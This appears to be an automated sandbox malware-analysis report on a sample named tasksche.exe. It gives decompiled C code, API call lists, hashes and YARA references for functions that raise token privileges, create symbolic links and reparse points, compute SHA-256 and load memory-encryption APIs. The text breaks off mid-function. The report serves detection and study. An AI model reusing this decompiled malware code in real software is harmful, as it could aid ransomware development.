Instruction Fuzzy Hash: 56A18272A4021CABEB21DFE0CC85FEF776DEB04704F440476BA05E60D1D6789E5A8B65

Uniqueness

Uniqueness Score: -1.00%

Function 0040690A Relevance: 37.0, APIs: 17, Strings: 4, Instructions: 294
fileCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E0040690A() {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t112;
				intOrPtr _t113;
				long _t120;
				intOrPtr _t122;
				signed int _t123;
				int _t144;
				long _t163;
				signed int _t168;
				void* _t178;
				void* _t180;
				void* _t184;
				short _t185;
				void* _t191;
				intOrPtr _t193;
				long _t194;
				short _t196;
				signed int _t222;
				void* _t227;
				void* _t229;
				void* _t230;
				void* _t242;

				E0041A4DC(E00429638, _t227);
				E0041AAF0(0x303c);
				if( *0x4335a3 == 0) {
					E00406553(L"SeRestorePrivilege");
					E00406553(L"SeCreateSymbolicLinkPrivilege");
					 *0x4335a3 = 1;
				}
				_t198 = _t227 - 0x20;
				E00406760(_t227 - 0x20, 0x1418);
				_t222 =  *(_t227 + 0x10);
				 *(_t227 - 4) =  *(_t227 - 4) & 0x00000000;
				_t5 = _t222 + 0x10f4; // 0x10f4
				E00410B9C(_t227 - 0x1024, _t5, 0x800);
				 *(_t227 + 0x10) = E0041A7AF(_t227 - 0x1024);
				_t225 = _t227 - 0x1024;
				 *((intOrPtr*)(_t227 - 0x10)) = _t227 - 0x2024;
				_t112 = E0041C81C(_t227 - 0x1024, L"\\??\\", 4);
				_t230 = _t229 + 0x10;
				asm("sbb bl, bl");
				_t191 =  ~_t112 + 1;
				if(_t191 == 0) {
					L5:
					_t113 =  *((intOrPtr*)(_t227 - 0x10));
					goto L6;
				} else {
					_t225 = _t227 - 0x101c;
					_t184 = E0041C81C(_t227 - 0x101c, L"UNC\\", 4);
					_t230 = _t230 + 0xc;
					if(_t184 != 0) {
						goto L5;
					}
					_t185 = 0x5c;
					 *((short*)(_t227 - 0x2024)) = _t185;
					_t113 = _t227 - 0x2022;
					_t225 = _t227 - 0x1016;
					L6:
					E0041A7F7(_t113, _t225);
					 *((intOrPtr*)(_t227 - 0x10)) = E0041A7AF(_t227 - 0x2024);
					if( *((char*)( *((intOrPtr*)(_t227 + 8)) + 0x518b)) != 0) {
						L16:
						E0040935F(_t191, _t198, _t222,  *(_t227 + 0xc), 1);
						__eflags =  *((char*)(_t222 + 0x10e1));
						if( *((char*)(_t222 + 0x10e1)) != 0) {
							L21:
							__eflags = CreateDirectoryW( *(_t227 + 0xc), 0);
							if(__eflags == 0) {
								L10:
								_t242 =  *(_t227 - 0x20);
								L11:
								if(_t242 == 0) {
									L14:
									_t120 = 0;
									L15:
									 *[fs:0x0] =  *((intOrPtr*)(_t227 - 0xc));
									return _t120;
								}
								_push( *(_t227 - 0x20));
								L13:
								E0041A506(_t191, _t222, _t225, _t242);
								goto L14;
							}
							_t225 = 0;
							__eflags = 0;
							L23:
							_t122 =  *((intOrPtr*)(_t222 + 0x10f0));
							__eflags = _t122 - 3;
							if(_t122 != 3) {
								__eflags = _t122 - 2;
								if(_t122 == 2) {
									L27:
									_t225 =  *(_t227 - 0x20);
									_t123 =  *(_t227 + 0x10);
									 *((short*)(_t225 + 0xa)) = _t123 + _t123;
									 *(_t225 + 4) =  *((intOrPtr*)(_t227 - 0x10)) + _t123 +  *((intOrPtr*)(_t227 - 0x10)) + _t123 + 0x10;
									 *_t225 = 0xa000000c;
									 *((short*)(_t225 + 6)) = 0;
									 *((short*)(_t225 + 8)) = 0;
									E0041A7F7(_t225 + 0x14, _t227 - 0x1024);
									 *((short*)(_t225 + 0xc)) =  *(_t227 + 0x10) +  *(_t227 + 0x10) + 2;
									 *((short*)(_t225 + 0xe)) =  *((intOrPtr*)(_t227 - 0x10)) +  *((intOrPtr*)(_t227 - 0x10));
									E0041A7F7(_t225 + 0x16 +  *(_t227 + 0x10) * 2, _t227 - 0x2024);
									__eflags = _t191;
									_t74 = _t191 == 0;
									__eflags = _t74;
									 *(_t225 + 0x10) = 0 | _t74;
									L28:
									_t191 = CreateFileW( *(_t227 + 0xc), 0xc0000000, 0, 0, 3, 0x2200000, 0);
									__eflags = _t191 - 0xffffffff;
									if(__eflags != 0) {
										_t144 = DeviceIoControl(_t191, 0x900a4, _t225, ( *(_t225 + 4) & 0x0000ffff) + 8, 0, 0, _t227 - 0x24, 0);
										__eflags = _t144;
										if(_t144 != 0) {
											E00408786(_t227 - 0x3048);
											 *(_t227 - 4) = 1;
											E00408A32(_t227 - 0x3048);
											 *(_t227 - 0x3044) = _t191;
											_t193 =  *((intOrPtr*)(_t227 + 8));
											asm("sbb eax, eax");
											_t88 = _t222 + 0x1040; // 0x1040
											asm("sbb eax, eax");
											_t90 = _t222 + 0x1038; // 0x1038
											_t92 = _t222 + 0x1030; // 0x1030
											asm("sbb eax, eax");
											E00408D35(_t227 - 0x3048,  ~( *(_t193 + 0x628c)) & _t92,  ~( *(_t193 + 0x6290)) & _t90,  ~( *(_t193 + 0x6294)) & _t88);
											E00408A32(_t227 - 0x3048);
											__eflags =  *((char*)(_t193 + 0x519b));
											if( *((char*)(_t193 + 0x519b)) == 0) {
												E0040908D( *(_t227 + 0xc),  *((intOrPtr*)(_t222 + 0x1c)));
											}
											 *(_t227 - 4) = 0;
											E00408C7D(_t193, _t227 - 0x3048);
											_t194 = 1;
											L37:
											_push(_t225);
											E0041A506(_t194, _t222, _t225, __eflags);
											_t120 = _t194;
											goto L15;
										}
										CloseHandle(_t191);
										E0040639F(0x14, 0,  *(_t227 + 0xc));
										_t163 = GetLastError();
										__eflags = _t163 - 0x522;
										if(_t163 == 0x522) {
											_t163 = E00401B9B(0x16);
										}
										E00401000(_t163);
										E004062BA(0x4335ac, 9);
										__eflags =  *((char*)(_t222 + 0x10e1));
										_push( *(_t227 + 0xc));
										if( *((char*)(_t222 + 0x10e1)) == 0) {
											DeleteFileW();
										} else {
											RemoveDirectoryW();
										}
										_t194 = 0;
										__eflags = 0;
										goto L37;
									}
									_push(_t225);
									goto L13;
								}
								__eflags = _t122 - 1;
								if(_t122 != 1) {
									L19:
									__eflags =  *(_t227 - 0x20) - _t225;
									goto L11;
								}
								goto L27;
							}
							_t168 =  *(_t227 + 0x10);
							_t225 =  *(_t227 - 0x20);
							_t196 = _t168 + _t168;
							 *(_t225 + 4) =  *((intOrPtr*)(_t227 - 0x10)) + _t168 +  *((intOrPtr*)(_t227 - 0x10)) + _t168 + 0xc;
							 *_t225 = 0xa0000003;
							 *((short*)(_t225 + 6)) = 0;
							 *((short*)(_t225 + 8)) = 0;
							 *((short*)(_t225 + 0xa)) = _t196;
							E0041A7F7(_t225 + 0x10, _t227 - 0x1024);
							 *((short*)(_t225 + 0xe)) =  *((intOrPtr*)(_t227 - 0x10)) +  *((intOrPtr*)(_t227 - 0x10));
							 *((short*)(_t225 + 0xc)) = _t196 + 2;
							E0041A7F7(_t225 + 0x12 +  *(_t227 + 0x10) * 2, _t227 - 0x2024);
							goto L28;
						}
						__eflags =  *((char*)(_t222 + 0x20f4));
						if( *((char*)(_t222 + 0x20f4)) != 0) {
							goto L21;
						}
						_t225 = 0;
						_t178 = CreateFileW( *(_t227 + 0xc), 0x40000000, 0, 0, 1, 0x80, 0);
						__eflags = _t178 - 0xffffffff;
						if(_t178 != 0xffffffff) {
							CloseHandle(_t178);
							goto L23;
						}
						goto L19;
					}
					if(_t191 != 0) {
						goto L10;
					}
					_t21 = _t222 + 0x10f4; // 0x10f4
					_t225 = _t21;
					_t180 = E0040A2F5(_t21);
					_t240 = _t180;
					if(_t180 != 0) {
						goto L10;
					}
					_t22 = _t222 + 0x20; // 0x20
					if(E004065C4(_t191, _t240, _t22, _t225) != 0) {
						goto L16;
					}
					goto L10;
				}
			}

0x0040690f
0x00406919
0x00406925
0x0040692c
0x00406936
0x0040693b
0x0040693b
0x0040694a
0x0040694d
0x00406952
0x00406955
0x0040695e
0x0040696c
0x0040697d
0x00406988
0x0040698e
0x00406999
0x0040699e
0x004069a5
0x004069a7
0x004069a9
0x004069df
0x004069df
0x00000000
0x004069ab
0x004069ad
0x004069bb
0x004069c0
0x004069c5
0x00000000
0x00000000
0x004069c9
0x004069ca
0x004069d1
0x004069d7
0x004069e2
0x004069e4
0x004069f5
0x00406a05
0x00406a4b
0x00406a50
0x00406a55
0x00406a5c
0x00406a94
0x00406a9f
0x00406aa1
0x00406a29
0x00406a29
0x00406a2d
0x00406a2d
0x00406a38
0x00406a38
0x00406a3a
0x00406a40
0x00406a48
0x00406a48
0x00406a2f
0x00406a32
0x00406a32
0x00000000
0x00406a37
0x00406aa3
0x00406aa3
0x00406aa5
0x00406aa5
0x00406aab
0x00406aae
0x00406b13
0x00406b16
0x00406b21
0x00406b21
0x00406b24
0x00406b2e
0x00406b3d
0x00406b47
0x00406b4d
0x00406b51
0x00406b55
0x00406b62
0x00406b6b
0x00406b7e
0x00406b88
0x00406b8a
0x00406b8a
0x00406b8d
0x00406b90
0x00406baa
0x00406bac
0x00406baf
0x00406bcf
0x00406bd5
0x00406bd7
0x00406c45
0x00406c50
0x00406c54
0x00406c59
0x00406c5f
0x00406c6a
0x00406c6c
0x00406c7d
0x00406c7f
0x00406c90
0x00406c96
0x00406ca1
0x00406cac
0x00406cb1
0x00406cb8
0x00406cc0
0x00406cc0
0x00406ccb
0x00406ccf
0x00406cd4
0x00406c31
0x00406c31
0x00406c32
0x00406c38
0x00000000
0x00406c38
0x00406bda
0x00406be7
0x00406bec
0x00406bf2
0x00406bf7
0x00406bfb
0x00406bfb
0x00406c07
0x00406c10
0x00406c15
0x00406c1c
0x00406c1f
0x00406c29
0x00406c21
0x00406c21
0x00406c21
0x00406c2f
0x00406c2f
0x00000000
0x00406c2f
0x00406bb1
0x00000000
0x00406bb1
0x00406b18
0x00406b1b
0x00406a86
0x00406a86
0x00000000
0x00406a86
0x00000000
0x00406b1b
0x00406ab0
0x00406ab3
0x00406abb
0x00406ac9
0x00406ad3
0x00406ad9
0x00406add
0x00406ae1
0x00406ae5
0x00406aef
0x00406b05
0x00406b09
0x00000000
0x00406b0e
0x00406a5e
0x00406a65
0x00000000
0x00000000
0x00406a67
0x00406a7b
0x00406a81
0x00406a84
0x00406a8c
0x00000000
0x00406a8c
0x00000000
0x00406a84
0x00406a09
0x00000000
0x00000000
0x00406a0b
0x00406a0b
0x00406a12
0x00406a17
0x00406a19
0x00000000
0x00000000
0x00406a1c
0x00406a27
0x00000000
0x00000000
0x00000000
0x00406a27

APIs

__EH_prolog.LIBCMT ref: 0040690F
_wcslen.LIBCMT ref: 00406978
_wcscpy.LIBCMT ref: 004069E4
_wcslen.LIBCMT ref: 004069F0

Part of subcall function 00406553: GetCurrentProcess.KERNEL32(00000020,?), ref: 00406562
Part of subcall function 00406553: OpenProcessToken.ADVAPI32(00000000), ref: 00406569
Part of subcall function 00406553: LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 00406589
Part of subcall function 00406553: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000001,00000000,00000000,00000000), ref: 0040659E
Part of subcall function 00406553: GetLastError.KERNEL32 ref: 004065A8
Part of subcall function 00406553: CloseHandle.KERNEL32(?), ref: 004065B7

Part of subcall function 0040935F: _wcsncpy.LIBCMT ref: 004093C6

CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000001,00000080,00000000,00000000,00000001), ref: 00406A7B
CloseHandle.KERNEL32(00000000), ref: 00406A8C
CreateDirectoryW.KERNEL32(00000000,00000000,00000000,00000001), ref: 00406A99
_wcscpy.LIBCMT ref: 00406AE5
_wcscpy.LIBCMT ref: 00406B09
_wcscpy.LIBCMT ref: 00406B55
_wcscpy.LIBCMT ref: 00406B7E
CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000003,02200000,00000000), ref: 00406BA4
DeviceIoControl.KERNEL32 ref: 00406BCF
CloseHandle.KERNEL32(00000000), ref: 00406BDA
GetLastError.KERNEL32 ref: 00406BEC
RemoveDirectoryW.KERNEL32(00000000), ref: 00406C21
DeleteFileW.KERNEL32(00000000), ref: 00406C29

Strings

SeCreateSymbolicLinkPrivilege, xrefs: 00406931
SeRestorePrivilege, xrefs: 00406927
UNC\, xrefs: 004069B5
\??\, xrefs: 00406993

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _wcscpy$CloseCreateFileHandle$DirectoryErrorLastProcessToken_wcslen$AdjustControlCurrentDeleteDeviceH_prologLookupOpenPrivilegePrivilegesRemoveValue_wcsncpy
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 295717069-3508440684
Opcode ID: 54416bbc68546247290bb90bcc992cafd3815891a8ba72df938a6b2bc5e4892e
Instruction ID: 0b044a0677013c3ee0dedeb9ad72db73be6c8eb7e300feb6a7d55a674be6f19f
Opcode Fuzzy Hash: 54416bbc68546247290bb90bcc992cafd3815891a8ba72df938a6b2bc5e4892e
Instruction Fuzzy Hash: 56B1B471A00215AFDF21EF64CC45BDA77B8EF04304F00446AF95AF7281D778AAA4CB69

Uniqueness

Uniqueness Score: -1.00%

Function 004106F4 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 225
COMMONCrypto

Download Yara Rule

C-Code - Quality: 83%

			E004106F4(signed int* __esi) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr _v236;
				char _v240;
				intOrPtr _v244;
				intOrPtr _v248;
				intOrPtr _v252;
				intOrPtr _v256;
				intOrPtr _v260;
				intOrPtr _v264;
				intOrPtr _v268;
				intOrPtr _v272;
				intOrPtr _v276;
				intOrPtr _v280;
				intOrPtr _v284;
				intOrPtr _v288;
				intOrPtr _v292;
				char _v296;
				unsigned int* _t154;
				void* _t167;
				signed int _t183;
				signed int _t199;
				signed int _t227;
				signed int _t229;
				void* _t234;
				signed int _t236;
				void* _t243;

				if(__esi != 0) {
					_v296 = E0041D291( *(__esi[0xa]));
					_v292 = E0041D291( *((intOrPtr*)(__esi[0xa] + 4)));
					_v288 = E0041D291( *((intOrPtr*)(__esi[0xa] + 8)));
					_v284 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0xc)));
					_v280 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x10)));
					_v276 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x14)));
					_v272 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x18)));
					_v268 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x1c)));
					_v264 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x20)));
					_v260 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x24)));
					_v256 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x28)));
					_v252 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x2c)));
					_t229 = 0x30;
					_v248 = E0041D291( *((intOrPtr*)(__esi[0xa] + _t229)));
					_v244 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x34)));
					_v240 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x38)));
					_v236 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x3c)));
					_t154 =  &_v240;
					_v8 = _t229;
					do {
						asm("rol edi, 0xe");
						asm("ror ebx, 0x7");
						asm("rol ecx, 0xf");
						asm("rol ebx, 0xd");
						_t234 = ( *(_t154 - 0x34) ^  *(_t154 - 0x34) ^  *(_t154 - 0x34) >> 0x00000003) + ( *_t154 ^  *_t154 ^  *_t154 >> 0x0000000a) +  *((intOrPtr*)(_t154 - 0x38));
						_t154 =  &(_t154[1]);
						_t40 =  &_v8;
						 *_t40 = _v8 - 1;
						_t154[1] = _t234 +  *((intOrPtr*)(_t154 - 0x18));
					} while ( *_t40 != 0);
					_t236 =  *__esi;
					_t227 = __esi[4];
					_v8 = _v8 & 0x00000000;
					_v36 = __esi[1];
					_v32 = __esi[2];
					_v28 = __esi[3];
					_v20 = __esi[5];
					_v16 = __esi[6];
					_v40 = _t236;
					_v12 = __esi[7];
					do {
						asm("ror eax, 0xb");
						asm("rol ecx, 0x7");
						asm("ror ecx, 0x6");
						_t62 = _v8 + 0x42ac30; // 0x428a2f98
						_v8 = _v8 + 4;
						_t167 = (_t227 ^ _t227 ^ _t227) + ( !_t227 & _v16 ^ _v20 & _t227) +  *_t62 +  *((intOrPtr*)(_t243 + _v8 - 0x124)) + _v12;
						_v12 = _v16;
						_v16 = _v20;
						_v20 = _t227;
						_t227 = _t167 + _v28;
						asm("ror ecx, 0xd");
						asm("rol ebx, 0xa");
						asm("ror ebx, 0x2");
						_t75 =  &_v36; // 0x405a40
						_t77 =  &_v36; // 0x405a40
						_t81 =  &_v36; // 0x405a40
						_t199 =  *_t81;
						_v28 = _v32;
						_v36 = _v40;
						_t236 = (_t236 ^ _t236 ^ _t236) + (( *_t75 ^ _t236) & _v32 ^  *_t77 & _v40) + _t167;
						_v32 = _t199;
						_v40 = _t236;
					} while (_v8 < 0x100);
					_t88 =  &_v36; // 0x405a40
					 *__esi =  *__esi + _t236;
					__esi[1] = __esi[1] +  *_t88;
					__esi[2] = __esi[2] + _t199;
					__esi[3] = __esi[3] + _v28;
					__esi[4] = __esi[4] + _t227;
					__esi[5] = __esi[5] + _v20;
					__esi[6] = __esi[6] + _v16;
					_t183 = __esi[7] + _v12;
					__esi[7] = _t183;
					return _t183;
				} else {
					E0040CFA3( &_v40, 0x20);
					return E0040CFA3( &_v296, 0x100);
				}
			}

0x004106ff
0x0041072b
0x0041073e
0x00410751
0x00410764
0x00410777
0x0041078a
0x0041079d
0x004107b0
0x004107c3
0x004107d6
0x004107e9
0x004107fc
0x00410807
0x00410811
0x00410824
0x00410837
0x0041084a
0x00410853
0x00410859
0x0041085c
0x00410863
0x0041086b
0x00410874
0x00410879
0x00410885
0x00410888
0x0041088e
0x0041088e
0x00410891
0x00410891
0x00410899
0x0041089b
0x0041089e
0x004108a2
0x004108a8
0x004108ae
0x004108b4
0x004108ba
0x004108c0
0x004108c3
0x004108c6
0x004108cb
0x004108d0
0x004108d9
0x004108ec
0x004108f2
0x00410900
0x00410903
0x00410909
0x00410911
0x00410914
0x00410919
0x0041091c
0x00410923
0x00410928
0x00410930
0x00410944
0x00410944
0x00410947
0x0041094d
0x00410950
0x00410953
0x00410956
0x00410956
0x00410961
0x00410966
0x00410970
0x00410978
0x00410983
0x0041098b
0x00410996
0x004109a1
0x004109a7
0x004109aa
0x004109af
0x00410701
0x00410707
0x0041071e
0x0041071e

APIs

__byteswap_ulong.LIBCMT ref: 00410726
__byteswap_ulong.LIBCMT ref: 00410739
__byteswap_ulong.LIBCMT ref: 0041074C
__byteswap_ulong.LIBCMT ref: 0041075F
__byteswap_ulong.LIBCMT ref: 00410772
__byteswap_ulong.LIBCMT ref: 00410785
__byteswap_ulong.LIBCMT ref: 00410798
__byteswap_ulong.LIBCMT ref: 004107AB
__byteswap_ulong.LIBCMT ref: 004107BE
__byteswap_ulong.LIBCMT ref: 004107D1
__byteswap_ulong.LIBCMT ref: 004107E4
__byteswap_ulong.LIBCMT ref: 004107F7
__byteswap_ulong.LIBCMT ref: 0041080C
__byteswap_ulong.LIBCMT ref: 0041081F
__byteswap_ulong.LIBCMT ref: 00410832
__byteswap_ulong.LIBCMT ref: 00410845

Strings

@Z@, xrefs: 00410928, 00410930, 00410944, 00410961

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: __byteswap_ulong
String ID: @Z@
API String ID: 2309504477-3109265564
Opcode ID: 3d995ba0cc5bd3afd1912a8f52df84b91350d78957cf3c3d8552aa4fe151a300
Instruction ID: 1dc3a99616fea8f09d0a2898b21a56a39af3494018e3c7a499627515aa5f83aa
Opcode Fuzzy Hash: 3d995ba0cc5bd3afd1912a8f52df84b91350d78957cf3c3d8552aa4fe151a300
Instruction Fuzzy Hash: 869119B1A006148FCB24DF5AC881A9EB7F1FF48308F1445AEE59AE7721D734E9948F48

Uniqueness

Uniqueness Score: -1.00%

Function 0040CEB6 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 23
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040CEB6(struct HINSTANCE__** __ecx) {
				void* _t5;
				struct HINSTANCE__* _t6;
				struct HINSTANCE__** _t12;

				_t12 = __ecx;
				if( *((char*)(__ecx + 4)) == 0) {
					_t6 = LoadLibraryW(L"Crypt32.dll");
					 *_t12 = _t6;
					if(_t6 != 0) {
						_t12[2] = GetProcAddress(_t6, "CryptProtectMemory");
						_t6 = GetProcAddress( *_t12, "CryptUnprotectMemory");
						_t12[3] = _t6;
					}
					_t12[1] = 1;
					return _t6;
				}
				return _t5;
			}

0x0040ceb7
0x0040cebd
0x0040cec4
0x0040ceca
0x0040cece
0x0040cee6
0x0040cee9
0x0040ceeb
0x0040ceee
0x0040ceef
0x00000000
0x0040ceef
0x0040cef4

APIs

LoadLibraryW.KERNEL32(Crypt32.dll,00000020,0040CF0E,00000020,?,?,00405D3C,?,00000020,00000001,00000000,?,00000010,?,?,?), ref: 0040CEC4
GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 0040CEDD
GetProcAddress.KERNEL32(00438800,CryptUnprotectMemory), ref: 0040CEE9

Strings

CryptUnprotectMemory, xrefs: 0040CEDF
CryptProtectMemory, xrefs: 0040CED7
Crypt32.dll, xrefs: 0040CEBF

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory
API String ID: 2238633743-1753850145
Opcode ID: 5fe6950aaff99067424b8bdf76d8a3167c7df5a56d66711809a8faa92a841fba
Instruction ID: 6e3b8f00ce2f8e0fa430b510b5536735c08c44b91adf59875fbb0715622b898a
Opcode Fuzzy Hash: 5fe6950aaff99067424b8bdf76d8a3167c7df5a56d66711809a8faa92a841fba
Instruction Fuzzy Hash: 7EE092306003119FD7319F79EC44B03BBE89F94B10B14846FE984E3250C6B8D4518B5D

Uniqueness

Uniqueness Score: -1.00%

Function 00406553 Relevance: 9.0, APIs: 6, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406553(WCHAR* _a4) {
				void* _v8;
				intOrPtr _v12;
				struct _TOKEN_PRIVILEGES _v24;
				long _t19;

				_t19 = 0;
				if(OpenProcessToken(GetCurrentProcess(), 0x20,  &_v8) != 0) {
					_v24.PrivilegeCount = 1;
					_v12 = 2;
					if(LookupPrivilegeValueW(0, _a4,  &(_v24.Privileges)) != 0 && AdjustTokenPrivileges(_v8, 0,  &_v24, 0, 0, 0) != 0 && GetLastError() == 0) {
						_t19 = 1;
					}
					CloseHandle(_v8);
				}
				return _t19;
			}

0x00406560
0x00406571
0x0040657a
0x00406582
0x00406591
0x004065b2
0x004065b2
0x004065b7
0x004065b7
0x004065c1

APIs

GetCurrentProcess.KERNEL32(00000020,?), ref: 00406562
OpenProcessToken.ADVAPI32(00000000), ref: 00406569
LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 00406589
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000001,00000000,00000000,00000000), ref: 0040659E
GetLastError.KERNEL32 ref: 004065A8
CloseHandle.KERNEL32(?), ref: 004065B7

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentErrorHandleLastLookupOpenPrivilegePrivilegesValue
String ID:
API String ID: 3398352648-0
Opcode ID: c4d8732f7f1e2046f43f8b45a71e1742e44d7c33346580acd03521233585be14
Instruction ID: 201d4201c496fcfd48e74424a9b99b2c6b7fcfb09556bcb8571a25bcb240e8ee
Opcode Fuzzy Hash: c4d8732f7f1e2046f43f8b45a71e1742e44d7c33346580acd03521233585be14
Instruction Fuzzy Hash: A0011DB1600209FFDB209FA4DC89EAF7BBCAB04344F401076B902E1255D775CE259A75

Uniqueness

Uniqueness Score: -1.00%

Function 00401CC1 Relevance: 7.8, APIs: 3, Strings: 1, Instructions: 769
COMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E00401CC1(intOrPtr* __ecx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t334;
				unsigned int _t340;
				signed int _t344;
				signed int _t345;
				void* _t347;
				signed int _t349;
				char _t369;
				signed short _t376;
				signed int _t382;
				void* _t388;
				signed int _t389;
				signed int _t392;
				void* _t396;
				signed char _t401;
				char _t406;
				signed int _t414;
				char _t415;
				signed int _t418;
				signed int _t419;
				void* _t420;
				void* _t422;
				signed int _t429;
				signed short _t434;
				signed short _t439;
				signed char _t444;
				signed int _t448;
				signed int _t454;
				signed int _t461;
				signed int _t468;
				void* _t469;
				void* _t471;
				short* _t472;
				void* _t481;
				intOrPtr _t488;
				void* _t492;
				signed char _t495;
				signed int _t497;
				void* _t500;
				void* _t503;
				intOrPtr* _t509;
				signed int _t521;
				signed int _t526;
				signed int* _t530;
				unsigned int _t531;
				signed int _t533;
				signed int _t545;
				char _t556;
				char _t557;
				signed int _t559;
				signed int _t560;
				signed int* _t576;
				signed int _t620;
				signed int _t621;
				signed int _t622;
				signed int _t644;
				signed int _t646;
				signed int _t650;
				signed int _t652;
				void* _t653;
				void* _t656;
				signed int _t659;
				signed int _t660;
				signed int _t662;
				signed int _t665;
				signed int _t666;
				void* _t667;
				signed int _t669;
				signed int _t670;
				signed int _t671;
				unsigned int _t676;
				signed int _t677;
				intOrPtr _t680;
				signed int _t681;
				signed int _t683;
				void* _t685;
				signed int _t694;

				E0041A4DC(E00429562, _t685);
				E0041AAF0(0x2874);
				_push(_t677);
				_t509 = __ecx;
				E0040B736(_t685 - 0x48, __ecx);
				_t650 = 0;
				 *((intOrPtr*)(_t685 - 4)) = 0;
				if( *((char*)(__ecx + 0xb05c)) == 0) {
					L9:
					 *((char*)(_t685 - 0xe)) = 0;
					L11:
					E0040B4C8(_t685 - 0x48, _t650, 7);
					__eflags =  *((intOrPtr*)(_t685 - 0x34)) - _t650;
					if(__eflags == 0) {
						L5:
						E00401C37(_t509, _t644, _t696);
						L6:
						_t697 =  *((intOrPtr*)(_t685 - 0x48)) - _t650;
						if( *((intOrPtr*)(_t685 - 0x48)) != _t650) {
							_push( *((intOrPtr*)(_t685 - 0x48)));
							E0041A506(_t509, _t650, _t677, _t697);
						}
						_t334 = 0;
						L134:
						 *[fs:0x0] =  *((intOrPtr*)(_t685 - 0xc));
						return _t334;
					}
					 *(_t509 + 0x654c) = E0040B57A(_t685 - 0x48) & 0x0000ffff;
					 *(_t509 + 0x655c) = 0;
					_t677 = E0040B562(_t685 - 0x48) & 0x000000ff;
